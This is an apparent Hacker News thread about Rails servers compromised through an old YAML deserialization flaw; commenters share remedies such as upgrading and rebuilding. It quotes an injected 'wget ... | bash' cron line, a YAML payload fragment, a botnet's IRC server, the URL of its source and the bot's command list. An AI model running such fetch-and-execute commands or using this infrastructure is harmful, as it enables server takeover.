7 ms·
Exploitation of an old Rails vulnerability
- boonez123 13y agoIn my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.
- meowface 13y agoIf you're running Rails, then it's Rails that's vulnerable.
- AdrianRossouw 13y agotake the system offline, install fresh o/s on new server, re-deploy clean copy of code. slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps). if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.
- boonez123 13y agoI think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.
- 15charusername 13y ago1.4.2 is safe, 1.4.1 contained the fix for CVE-2013-2028
- fhars 13y agoSome people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n - I.e., they have been grossly negligient in their server maintenance for most of this year. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/ http://www.kalzumeus.com/2013/01/31/what-the-rails-security-... [Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]
- packetlss 13y agoYes. Looks like a case of explotation of CVE-2013-0156.
- tomfakes 13y agoOn exactly this subject, I'm in the process of building a SaaS app that will alert you of security vulnerabilities in Gems in your Rails and other Ruby apps. Sign up at my landing page to here more when I'm closer to launch http://www.rubyaudit.com http://www.rubyaudit.com
- Hates_ 13y agoDoesn't seem to be anywhere to sign up.
- tomfakes 13y agoDoh! I just got the landing page setup, and the signup configured, but never pushed it out. Try it now. Thanks
- piggity 13y agoInteresting idea, it looks like you scan the Gemfile.lock (or equivalent) at "deploy" time. My preference would be to upload that Gemfile.lock to a location, and then it could be scanned as and when new vulnerabilities were detected.
- boonez123 13y agoThis could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Released-to-Fix-Arbitrary-Code-Execution-Vulnerability-351523.shtml http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release.... I think I was on 1.1 or something then did "gem update passenger"
- patio11 13y agoI'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.
- glimcat 13y agoArticle: "What The Rails Security Issue Means For Your Startup" http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/ http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...
- InclinedPlane 13y agoPssst, patio11 wrote that. Regardless, it's an absolute must read for anyone even thinking about using rails.
- lbarrow 13y agoIt's surprising how often people rely on their own obscurity when they hear about security vulnerabilities. Sure, I could go upgrade Rails, but why bother? I'm only using it for a personal project. The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.
- kawsper 13y agoSeriously, these guys have been completely out of the loop. > I think we have to warm all RoR developers...
- lotyrin 13y agoThese are the average developer. Every time I touch a new project it's in need of security updates. Any time a site gets owned, there's no accountability or logging or anything. Any time a security issue does manage to get found it's as if it's a rare new thing. "Wow, who would have thought that could happen." Well, let's see, the developers of the software you're using, and anyone that pays attention to them.
- meritt 13y agoUpdate Rails. Exploit of known issues.
- benbeltran 13y agoThe double unescape in the comments felt kinda like "Enhance!" "Enhance!"
- benbeltran 13y agoThe double unescape in the comments felt kinda like "Enhance!" "Enhance!"
- orf 13y agoLooking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: http://88.198.20.247/k.c http://88.198.20.247/k.c The IRC server is cvv4you.ru:6667 #rails There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan". Connect to it and see for yourself: http://chat.mibbit.com/ http://chat.mibbit.com/
- voltagex_ 13y agoLooking at SpamHaus, that IP range is owned by a company that provides professional botnet hosting. Approach with caution.
- outworlder 13y agoProfessional botnet hosting? Didn't even know there was such a thing. How come these guys are even operational?
- karlkatzke 13y agoIt's a huge thing. KrebsOnSecurity covers a lot of the news in that industry, and discusses how they're used. http://krebsonsecurity.com/ http://krebsonsecurity.com/
- meowface 13y agoThey're never located in the US, so they're a lot harder to crack down on.
- 300bps 13y agoHere are the commands for the bot: NICK <nick> = Changes the nick of the client SERVER <server> = Changes servers KILL = Kills the client GET <http address> <save as> = Downloads a file off the web and saves it onto the hd HELP = Displays this IRC <command> = send_msgs this command to the server SH <command> = Executes a command I'm a little light on IRC proxies right now - anyone care to test if you can kill all 2,164 bots in one easy peasy MIRC script?
- kanzure 13y agoWhy is that whole thread full of rails people who don't know how to format code with markdown? What is going on here?
- mrkmcknz 13y agoBecause rails people don't know markdown. In all seriousness I'm assuming that those guys are panicking right about now and can't type fast enough let alone worry about the slightest bit of code formatting.
- dopamean 13y agoThe guy is putting together a botnet. Controlling it on cvv4you.ru:6667 channel #rails.
- vertis 13y agoI've been watching people probing my servers. If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked. Could be the most obvious statement ever, but there you have it.
- mattangriffel 13y agoHow can you check if your Rails app has been exploited?
- karlkatzke 13y agoI'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities. If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?
- trustfundbaby 13y agoEver since word of regressions (performance and otherwise) in 3.2.13 https://news.ycombinator.com/item?id=5409978 https://news.ycombinator.com/item?id=5409978 I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.
- thibaut_barrere 13y agoYou can use 3.2.12 with the security patches added, like Discourse is doing: https://github.com/discourse/discourse/commits/master/lib/freedom_patches/rails_security_fixes.rb https://github.com/discourse/discourse/commits/master/lib/fr... (to be used as an initializer)
- pairing 13y agoSubscribe to the ruby on rails security mailing list if you haven't already: https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security https://groups.google.com/forum/?fromgroups#!forum/rubyonrai.... I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.